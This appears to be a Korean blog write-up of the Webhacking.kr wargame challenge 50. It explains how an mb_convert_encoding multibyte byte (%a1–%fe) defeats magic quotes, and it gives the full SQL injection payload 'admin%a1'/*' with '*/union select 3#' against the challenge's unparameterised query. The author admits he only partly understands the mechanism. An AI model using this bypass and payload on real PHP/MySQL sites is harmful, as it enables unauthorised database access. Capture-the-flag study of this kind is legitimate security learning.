Webhacking.kr 50-sql injection(mb_convert_encoding 취약점)
$_GET[id]=mb_convert_encoding($_GET[id],'utf-8','euc-kr');
mb_convert_encoding이란 함수를 처음 봐서 검색해보니 취약점이 존재하는 함수라고 합니다.
저 위에는 $_GET으로 받아온 id 변수를 'euc-kr'에서 'utf-8'로 변환시켜라!!! 라는 뜻입니다.
하지만 'euc-kr'에서는 한글 1글자가 2바이트이지만, 'UTF-8'에서는 한굴 1글자가 3바이트라서 2Byte -> 3Byte 로 변환되는 과정에서 1바이트가남아서 생기는 취약점이라고 합니다.
자세하게 어떤 원리로 나타나는 취약점인지는 모르겠지만....
%a1 ~ %fe 범위의 값을 쿼터 이전에 사용하면 매직 쿼터 기법을 우회할 수가 있다고 합니다.
따라서 우리는 url에서 '를 사용할 수가 있게 되었습니다.
$data=@mysql_fetch_array(mysql_query("select lv from members where id='$_GET[id]' and pw=md5('$_GET[pw]')"));
처음 이부분을 봤을 때 md5로 pw를 해시시키고 id와 and 한다음 lv를 뽑아낸다...
느낌적으로 md5는 신경안써도 되겠구나라고 생각했습니다. 아예 주석처리를 해버릴까??생각을 했는데 그게 맞아 떨어 졌습니다.
id=admin%a1'/*
pw=*/union select 3#
("select lv from members where id='admin%a1'/*' and pw=md5('*/union select 3#'))
정리해보면
("select lv from members where id='admin%a1' union select 3#'))
일케하면 members 테이블에 값 3이 들어가게 되고 답이 출력됩니다.
아 그리고 계속 까먹네요... "select 로 시작해서 sql injection을 하고 뒤에 괄호를 닫아줘야하나 "의 짝을 맞추어 주어야하나...이런거요. 이유는 모르겠지만 다들 injection 뒤에 괄호를 닫거나 "를 닫거나 하지 않으셔서 안하고는 있지만 다음에 이유를 알아서 포스팅 해보도록 해보겠습니다.
id=admin%a1'/*
pw=*/union select 3#
#은 url encoding을 하셔야 합니다.
0 개의 댓글